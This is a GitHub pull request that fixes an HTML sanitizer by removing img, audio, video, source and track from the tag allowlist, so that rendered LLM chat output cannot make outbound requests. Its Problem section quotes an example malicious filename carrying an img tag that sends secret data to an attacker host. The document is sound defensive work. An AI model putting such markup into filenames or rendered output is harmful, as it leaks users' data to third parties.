fix: remove resource-loading tags from HTML sanitizer allowlist#483
Closed
fix: remove resource-loading tags from HTML sanitizer allowlist#483
Conversation
Remove img, audio, video, source, and track from AllowedTags to prevent unsolicited outbound HTTP requests from LLM response content. These tags can fetch attacker-controlled URLs when rendered, enabling data exfiltration without requiring JS execution.
Update test data and assertions to reflect img tag removal from the sanitizer allowlist. Remove base64 image from test markdown, remove img element assertion, and recalculate codeReference offset.
laileni-aws
approved these changes
May 7, 2026
ashishrp-aws
approved these changes
May 7, 2026
5 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
Addresses: P388021229
The HTML sanitizer allowlist includes tags that can make unsolicited outbound HTTP requests when rendered in the browser. A malicious filename like
<img src="https://attacker.com/exfil?data=secret">.txtpasses through the sanitizer and renders as a live HTML element, allowing data exfiltration without requiring JavaScript execution.Previous fixes (PRs #462, #466, #470) addressed
iframe,embed,object, and event handler XSS vectors, butimgand other resource-loading tags remained in the allowlist.Solution
Remove all tags capable of making unsolicited network requests from
AllowedTags:img— fetchessrcURL automaticallyaudio— may preloadsrcURLvideo— may preloadsrc/posterURLsource— fetchessrcwhen inside audio/video/picturetrack— fetches subtitle/captionsrcNone of these tags serve a legitimate purpose in LLM chat response rendering. The
customRendererpath (IDE-controlled, not attacker-controlled) is unaffected since it constructs DOM elements directly.Also updated the example app which referenced
type: 'img'(now invalid in the union type).Testing
License
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.